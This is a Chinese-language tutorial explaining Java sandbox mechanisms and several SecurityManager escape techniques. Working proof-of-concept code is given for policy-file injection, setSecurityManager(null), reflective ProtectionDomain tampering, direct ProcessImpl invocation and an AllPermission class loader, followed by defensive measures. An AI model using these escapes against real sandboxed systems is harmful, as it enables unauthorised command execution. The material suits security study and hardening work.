Java沙箱限制下SecurityManager绕过手法
字数 2282 2025-08-22 12:23:19
Java沙箱限制下SecurityManager绕过手法详解
1. Java沙箱组成概述
Java沙箱是一种安全机制,用于隔离和保护Java应用程序的执行环境,防止未经授权的操作。它主要由以下五个核心组件构成:
-
字节码校验器(Bytecode Verifier)
- 功能:校验字节码文件是否符合Java语言规范
- 检查内容:类文件格式、操作码合法性、变量初始化等
- 特点:并非所有类文件都会经过校验(如核心类库)
-
类加载器(Class Loader)
- 功能:负责将.class文件加载到JVM中
- 特点:
- 支持自定义类加载器
- 采用双亲委派机制(从顶层父类加载器开始层层委派)
- 防止恶意代码加载伪造的同名类
-
存取控制器(Access Controller)
- 功能:控制核心API对底层操作系统资源的访问
- 特点:
- 使用安全策略文件(policy file)配置访问规则
- 通过权限检查控制资源访问(文件、网络等)
-
安全管理器(Security Manager)
- 功能:作为核心API和操作系统之间的接口,执行权限控制
- 特点:
- 优先级高于存取控制器
- 可拦截和限制特定操作(文件写入、线程停止等)
-
安全软件包(Security Package)
- 功能:提供安全工具和扩展功能
- 包含:
- 安全提供者(定义安全算法和服务)
- 消息摘要(数据完整性验证)
- 数字签名(数据认证和完整性保护)
- 加密(对称和非对称加密)
- 鉴别(用户身份验证)
2. ClassLoader在沙箱中的核心作用
自定义ClassLoader可以实现对局部Jar包或class文件的单独权限控制。通过在调用defineClass()方法时为加载的类设置ProtectionDomain:
public class MyClassLoader extends ClassLoader {
private String rootDir; // class文件所在根目录
final private PermissionCollection permissionCollection; // 权限集合
public MyClassLoader(String rootDir) {
this.rootDir = rootDir;
this.permissionCollection = new MyPermissionCollection();
// 添加权限
this.permissionCollection.add(new FilePermission("/tmp/-", "read,write"));
this.permissionCollection.add(new SocketPermission("127.0.0.1:8080", "connect"));
this.permissionCollection.setReadOnly(); // 设置为只读
}
@Override
protected Class<?> findClass(String className) {
// 读取class文件内容
byte[] classData = ...; // 从文件读取字节码
// 创建ProtectionDomain
ProtectionDomain pd = new ProtectionDomain(null, permissionCollection);
Class<?> clazz = defineClass(null, classData, 0, classData.length, pd);
return clazz;
}
}
3. Java沙箱三要素:权限
权限是Java安全模型的核心概念,包含三部分:
-
权限类型:实现权限的Java类名(继承自java.security.Permission)
- java.security.AllPermission:允许所有操作
- java.lang.RuntimePermission:控制运行时操作(如线程停止)
- java.io.FilePermission:控制文件操作
-
权限名:具体资源的位置或范围
- 文件权限:如"/tmp/foo"
- 网络权限:如"127.0.0.1:8080"
-
允许的操作:对资源的具体行为
- 文件操作:read、write、execute
- 网络操作:connect、accept
示例:
permission java.security.AllPermission; // 权限类型
permission java.lang.RuntimePermission "stopThread"; // 类型+名称
permission java.io.FilePermission "/tmp/foo" "read"; // 类型+名称+操作
4. SecurityManager使用
Java Security Manager是沙箱机制的核心组件:
- 功能:执行权限控制,通过抛出异常阻止无权限或敏感操作
- 特点:
- 从Java 1.0引入,默认禁用
- 适用于Java 1.0 - Java 16
启动方式:
# 默认实现
java -Djava.security.manager
# 自定义实现
java -Djava.security.manager=net.sourceforge.prograde.sm.ProGradeJSM
# 指定策略文件
java -Djava.security.manager -Djava.security.policy="E:/java.policy"
5. 策略文件详解
策略文件(policy file)是Java沙箱的核心管理要素,为每个代码来源(CodeSource)定义保护域(Protection Domain)。
默认java.policy文件内容:
// 标准扩展默认拥有所有权限
grant codeBase "file:${{java.ext.dirs}}/*" {
permission java.security.AllPermission;
};
// 默认授予所有域的权限
grant {
permission java.lang.RuntimePermission "stopThread";
permission java.net.SocketPermission "localhost:0", "listen";
// 可读取的标准属性
permission java.util.PropertyPermission "java.version", "read";
// ...其他属性读取权限
};
java.security文件:
# 默认策略文件位置
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy
# 是否允许通过命令行指定策略文件
policy.allowSystemProperty=true
6. 权限配置基本原则
- 没有配置的权限表示没有权限:默认拒绝所有操作
- 只能配置允许的权限:不能直接禁止操作
- 同种权限多次配置取并集:权限会合并
- 统一资源的多种权限可用逗号分割:
permission java.io.FilePermission "/tmp/foo", "read,write";
7. Java沙箱逃逸手法
7.1 单等号配合写policy绕过
原理:
- 使用
-Djava.security.policy==java.policy(注意双等号) - 单等号会将指定策略文件添加到默认策略文件之后
- 如果home目录可写,可写入
.java.policy文件
利用条件:
grant {
permission java.io.FilePermission "C:\\Users\\Administrator\\*", "write";
};
攻击代码:
import java.io.FileWriter;
public class Exp {
public static void main(String[] args) throws Exception {
String homePolicyFile = "grant {\n permission java.io.FilePermission \"<<ALL FILES>>\", \"execute\";\n};";
FileWriter writer = new FileWriter("C:\\Users\\Administrator\\.java.policy");
writer.write(homePolicyFile);
writer.close();
Runtime.getRuntime().exec("calc");
}
}
7.2 利用setSecurityManager绕过
原理:
- 如果策略文件授予了
setSecurityManager权限 - 可调用
System.setSecurityManager(null)禁用安全管理器
利用条件:
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};
攻击代码:
public class Exp {
public static void main(String[] args) throws Exception {
System.setSecurityManager(null);
Runtime.getRuntime().exec("calc");
}
}
7.3 反射绕过
7.3.1 getProtectionDomain反射绕过
原理:
- 通过反射直接调用
getProtectionDomain0()方法 - 绕过对
getProtectionDomain()方法的过滤
利用条件:
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};
攻击代码:
public class BypassSandbox {
public static void main(String[] args) throws Exception {
setHasAllPerm0("calc");
}
public static void setHasAllPerm0(String command) throws Exception {
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
Class clz = Class.forName(stackTraceElement.getClassName());
Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);
getProtectionDomain.setAccessible(true);
ProtectionDomain pd = (ProtectionDomain) getProtectionDomain.invoke(clz);
if (pd != null) {
Field field = pd.getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(pd, true);
}
} catch (Exception e) { e.printStackTrace(); }
}
Runtime.getRuntime().exec(command);
}
}
7.3.2 ProcessImpl反射绕过
原理:
- 通过反射直接调用
ProcessImpl.start() - 绕过
ProcessBuilder.start()中的权限检查
攻击代码:
public class BypassSandbox {
public static void main(String[] args) throws Exception {
reflectProcessImpl("calc");
}
public static void reflectProcessImpl(String command) throws Exception {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class,
String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz, new String[]{command}, null, null, null, false);
}
}
7.4 自定义ClassLoader绕过
原理:
- 自定义ClassLoader加载恶意类
- 设置ProtectionDomain为全部权限
- 结合
doPrivileged()扩展权限范围
利用条件:
grant {
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};
攻击代码:
public class poc {
public static void main(String[] args) throws Exception {
MyClassLoader mcl = new MyClassLoader();
Class<?> c1 = Class.forName("Exp", true, mcl);
Object obj = c1.newInstance();
}
}
class Exp {
static {
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
try {
Process process = Runtime.getRuntime().exec("calc");
} catch (Exception e) { e.printStackTrace(); }
return null;
}
});
}
}
class MyClassLoader extends ClassLoader {
// ... 其他方法同上 ...
protected final Class<?> defineClazz(String name, byte[] b, int off, int len) {
try {
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, null), pc, this, null);
return this.defineClass(name, b, off, len, pd);
} catch (Exception e) { return null; }
}
}
8. 防御措施
-
限制反射权限:
- 不授予
accessDeclaredMembers和suppressAccessChecks权限 - 使用
sun.reflect.Reflection注册过滤规则:Reflection.registerMethodsToFilter(Class<?> clazz, String... methodNames); Reflection.registerFieldsToFilter(Class<?> clazz, String... fieldNames);
- 不授予
-
谨慎授予权限:
- 避免不必要的权限授予(如
createClassLoader、setSecurityManager) - 使用最小权限原则
- 避免不必要的权限授予(如
-
策略文件安全:
- 确保策略文件不可被恶意修改
- 避免使用单等号加载策略文件
-
更新Java版本:
- 使用最新Java版本,许多旧版绕过方法在新版中已修复
通过全面理解Java沙箱机制及其绕过手法,可以更好地设计和实施Java应用程序的安全防护策略。